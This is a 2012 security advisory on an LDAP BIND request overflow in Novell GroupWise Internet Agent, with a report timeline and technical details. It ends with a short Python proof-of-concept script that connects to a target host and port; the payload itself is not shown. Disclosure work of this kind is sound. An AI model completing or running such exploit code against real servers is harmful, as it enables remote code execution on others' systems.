Novell Groupwise Internet Agent LDAP BIND Request Overflow Vulnerability

2012.11.14
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-119

############### Application: Novell Groupwise Platforms: Windows Version: 8.0.2 HP3 and 2012 Secunia: SA50622 {PRL}: 2012-33 ZDI: ?? Novell TID: 5150711 Author: Francis Provencher (Protek Research Lab's) Website: http://www.protekresearchlab.com/ Twitter: @ProtekResearch ############### 1) Introduction 2) Report Timeline 3) Technical details 4) The Code ################ =============== 1) Introduction =============== Novell, Inc. is a global software and services company based in Waltham, Massachusetts. The company specializes in enterprise operating systems, such as SUSE Linux Enterprise and Novell NetWare; identity, security, and systems management solutions; and collaboration solutions, such as Novell Groupwise and Novell Pulse. Novell was instrumental in making the Utah Valley a focus for technology and software development. Novell technology contributed to the emergence of local area networks, which displaced the dominant mainframe computing model and changed computing worldwide. Today, a primary focus of the company is on developing open source software for enterprise clients. (http://en.wikipedia.org/wiki/Novell) ############### ============================ 2) Report Timeline ============================ 2011-06-02 Vulnerability reported to ZDI 2012-09-14 Novell Publish a patch 2012-11-13 Publication of this advisory ############### ============================ 3) Technical details ============================ The vulnerability is caused due to an overflow error in GroupWise Internet Agent (gwia.exe) when the LDAP service process an overly long BIND Request. Successful exploitation may allow execution of arbitrary code. ############### =========== 4) The Code =========== #!/usr/bin/python import sys,os,socket if len(sys.argv) < 3: print "Usage: host,port" sys.exit(0) host=sys.argv[1] port=int(sys.argv[2]) sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect((host,port)) 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print "done!" sock.close()

References:

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